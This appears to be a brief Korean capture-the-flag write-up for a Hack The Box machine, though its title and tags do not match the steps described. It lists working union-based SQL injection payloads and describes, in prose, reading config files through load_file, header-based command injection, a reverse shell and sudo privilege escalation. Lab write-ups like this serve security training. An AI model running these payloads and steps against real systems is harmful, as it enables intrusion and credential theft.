HTB-Devzat Write up
golang, git-dumper
웹페이지 탐색 시 아이디를 입력하여 검증하는 페이지 발견
해당 페이지에서 SQL injection 시도 시 취약한것을 확인
useegod' union select 1 -- -
useegod' union select table_name from information_schema.tables -- -
1개의 값만 노출이 되어 group_concat을 사용하여 여러개의 값을 묶어서 노출하도록 공격
useegod' union select group_concat(table_name) from information_schema.tables -- -
테이블에 내용이 없어 데이터베이스부터 재 검색
useegod' union select group_concat(schema_name) from information_schema.schemata -- -
useegod' union select group_concat(TABLE_NAME, COLUMN_NAME) from information_schema.columns where TABLE_SCHEMA like 'november' -- -
useegod' select group_concat(TABLE_NAME ":", COLUMN_NAME, "\n") from information_schema.columns where TABLE_SCHEMA like 'november' -- -
useegod' select group_concat(player,"\n") from november.players -- -
useegod' union select group_concat(one) from november.flag -- -
flag 값을 획득하여 값 입력을 하였더니 ssh 에 등록이 되었다고 출력이 됨
별 다른 내용이 없어 load_file 을 이용 내용을 살펴보니 config.php 파일안에 db의 설정파일 획득
해당 내용을 토대로 ssh 입력 시 접속 가능
firewall.php 내용을 보니 X-FORWARDED-FOR 을 통해 command injection 이 가능할껏처럼 보임
firewall.php 에 헤더를 추가하여 sleep 1; 공격 진행시 공격이 가능한것을 확인
bash 를 이용하여 리버스쉘을 연결 후 sudo -l 입력 시 패스워드 권한 없이 sudo 명령이 사용가능하여 root 권한 획득